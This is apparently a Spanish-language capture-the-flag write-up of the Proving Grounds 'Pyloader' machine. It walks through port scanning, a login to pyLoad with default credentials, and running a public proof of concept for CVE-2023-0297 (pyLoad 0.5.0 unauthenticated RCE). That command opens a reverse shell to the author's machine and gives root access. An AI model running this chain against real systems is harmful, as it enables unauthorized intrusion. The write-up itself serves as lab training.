> For the complete documentation index, see [llms.txt](https://1gnotus.gitbook.io/ignotus_pwn/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://1gnotus.gitbook.io/ignotus_pwn/proving-ground-practice-and-play/writeup/maquina-pyloader-pyload-0.5.0-rce-no-autenticado.md).

# MAQUINA PYLOADER (pyload 0.5.0 Rce No autenticado)

Enumere los puertos de la maquina utilizando lo siguientes comandos:

```
nmap -p- --open --min-rate 4000 -sS -v -Pn <ip>
```

`# datos de los comandos:`

`-p-: indica que realize el escaneo en los 65365 puertos`

`--open: indica que solo muestre los puertos abiertos`

`--min-rate 4000: lo use para que envie no menos de 4000 paquetes por segundo.`

`-sS: realiza un escaneo sigiloso, en lugar de completar la conexión con un ACK,`

`Nmap envía un **RST** (reset), evitando establecer una conexión completa.`

`-v: muestra por consola los puertos que se encuentran abiertos`

`-Pn: deshabilita la deteccion de hosts.`

![](/files/yYzOP2mLI2FLxFSgZ4mq)

Seguidamente como obtuve solo 2 puertos ejecute nmap con lo parámetro "-sCV" para que me muestre los servicios y la versiones de esos servicios.

![](/files/jwAM2Cv0brHDtdYxRATg)

Como tengo un servidor web en el puerto 9666 con whatweb voy a ver las tecnologías que emplean en dicho servidor.

![](/files/7UgZ1rl6oEbTTF0PtEXM)

Ya al tener los resultado de whatweb, ingreso al sitio web para realizar un reconocimiento mas cómodo.

![](/files/Ii1tnoToIas54hYnMHF4)

Luego de cargar la web, encontré un panel de login de un software llamado "pyLoad", probé credenciales por defecto como en toda prueba y no resulto.

![](/files/8fmCHOvUmtIiBiZhvtoG)

Pase por google para ver si existen credenciales que vengan por defecto.

![](/files/dmCu7zn10A5WlyvbJZBM)

Luego use las encontradas, una vez colocada obtuve acceso dentro del panel administrador.

![](/files/L667lVAkKIMmYRtFNAAI)

![](/files/aqbfcB45oxpcxlycaamG)

Tengo la versión del software es la 0.5.0. Con la versión en la mano busque si contiene alguna vulnerabilidad en google.

![](/files/eGqA3xSWHDvnslntyAXz)

`https://github.com/JacobEbben/CVE-2023-0297`

Este software es vulnerable a un RCE no autenticado por lo que no necesariamente necesitaría las credenciales.

Primero ejecute el siguiente comando donde me indico un PoC.

![](/files/GZjvtMJW1N4s2SLUFHh4)

Reemplace los comandos y le agregue mi IP y un puerto .. esto va a realizar una conexión con mi kali.

`python3 exploit.py -t` [`http://192.168.106.26:9666/`](http://192.168.106.26:9666/) `-I 192.168.45.240 -P 4443`

![](/files/FwOuGNdz9dx4b0RuSh7v)

![](/files/9kc9n9S2CWaLQCW8rdEL)

Ejecute el exploit y accedí dentro de la maquina como root.
